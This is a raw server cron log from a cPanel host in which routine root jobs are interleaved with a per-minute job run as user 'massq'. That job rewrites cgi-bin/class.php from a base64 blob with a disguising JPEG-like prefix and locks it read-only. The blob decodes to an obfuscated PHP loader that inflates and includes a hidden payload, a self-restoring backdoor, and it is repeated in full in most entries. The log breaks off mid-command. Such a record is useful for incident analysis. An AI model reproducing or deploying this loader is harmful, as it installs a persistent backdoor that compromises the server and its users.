Apr 12 03:33:01 server CROND[16815]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:34:01 server CROND[16866]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:35:02 server CROND[16922]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 03:35:02 server CROND[16925]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 03:35:02 server CROND[16924]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 03:35:02 server CROND[16926]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:35:02 server CROND[16927]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 12 03:35:17 server run-parts(/etc/cron.daily)[17261]: finished maldet
Apr 12 03:35:17 server run-parts(/etc/cron.daily)[16665]: starting man-db.cron
Apr 12 03:35:18 server run-parts(/etc/cron.daily)[17340]: finished man-db.cron
Apr 12 03:35:18 server anacron[13934]: Job `cron.daily' terminated
Apr 12 03:35:18 server anacron[13934]: Normal exit (1 job run)
Apr 12 03:36:01 server CROND[18747]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:37:01 server CROND[18830]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:38:01 server CROND[18895]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:39:01 server CROND[18938]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 03:39:01 server CROND[18939]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:40:01 server CROND[18990]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 03:40:01 server CROND[18991]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 03:40:01 server CROND[18992]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:40:01 server CROND[18993]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 03:41:01 server CROND[19147]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:42:01 server CROND[19192]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 03:42:01 server CROND[19193]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:43:01 server CROND[19335]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:44:01 server CROND[19377]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:45:01 server CROND[19423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 03:45:01 server CROND[19424]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 03:45:01 server CROND[19425]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 03:46:01 server CROND[19524]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 